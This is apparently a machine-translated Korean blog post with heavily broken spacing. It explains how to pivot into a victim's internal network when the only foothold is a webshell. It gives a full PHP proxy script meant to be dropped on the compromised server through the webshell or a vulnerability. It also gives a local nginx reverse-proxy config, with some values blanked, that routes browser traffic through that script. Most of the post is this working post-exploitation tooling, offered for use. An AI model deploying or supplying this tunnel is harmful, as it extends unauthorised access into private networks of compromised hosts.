웹 셸 만 대리 할 수 있 습 니 다.

3379 단어 php-hack
가끔 은 내부 네트워크 에 프 록 시 를 해 야 하지만 서버 에 외부 네트워크 포트 가 없고 명령 을 실행 하여 lcx 를 되 돌 릴 수도 없고 권한 을 제시 할 수도 없습니다. 웹 셸 만 있 습 니 다. 이 럴 때 는 비교적 아 픕 니 다.
저 는 재능 이 없어 서 짝 퉁 을 비교 하 는 pp + nginx 역방향 대 리 를 썼 습 니 다. 이 기능 을 쉽게 실현 할 수 있 습 니 다.
가설 하 는 것 도 비교적 편리 한 편 이다.이 걸 webshell 로 해도 좋 고, 구멍 을 올 려 도 좋 고, 상대방 서버 에 던 져 도 좋다.
그리고 로 컬 nginx 를 설정 하고 역방향 프 록 시 + rewrite 를 하면 OK 입 니 다.
코드 먼저 보기
proxy.php if(!isset($_GET['url'])){
  exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
  $url.='&';
}
else{
  $url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
  curl_setopt($ch, CURLOPT_POST, 1);
  $post_data='';
  foreach($_POST as $Key=>$Val){
    if(get_magic_quotes_gpc()){
      $Val=stripslashes($Val);
    }
    $post_data=$post_data.'&'.$Key.'='.urlencode($Val);
  }
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
  curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
  curl_close($ch);
  exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r
",$Header);
foreach($Headers as $ThusHead){
  if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
    continue;
  }
  header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>

코드 가 간단 하고 간단 한 bug 도 있 습 니 다. 여러분 이 눈치 채 셨 는 지 모 르 겠 지만 저도 수정 하기 가 귀 찮 습 니 다.
그리고
1. 이 에이 전 트 는 기본 적 인 GET / POST 만 지원 합 니 다. 파일 업로드 가 지원 되 지 않 습 니 다. 관심 이 있 는 사람 은 직접 보고, 하고, 하고, 끝내 고, 보 내 고, 여러분 을 행복 하 게 할 수 있 습 니 다.
2. 이 프 록 시 는 post 요청 을 전송 할 때 www - url - encode 를 사용 하지 않 기 때문에 프로그램 인식 이 정상 적 이지 않 을 수도 있 습 니 다.
그리고 로 컬 nginx 에 설정 을 추가 합 니 다.# proxy webshell
    server {
        listen           ;
        location ~ () {
                proxy_pass              http://webshell IP/ / / /proxy.php?url=http://$host/$request_uri;
                proxy_set_header        Host    " webshell ";
        }
    }

그리고 nginx 설정 을 다시 불 러 옵 니 다. 브 라 우 저가 nginx 감청 포트 를 에이전트 로 사용 하도록 설정 하면 됩 니 다.
효과 도 를 주다.

좋은 웹페이지 즐겨찾기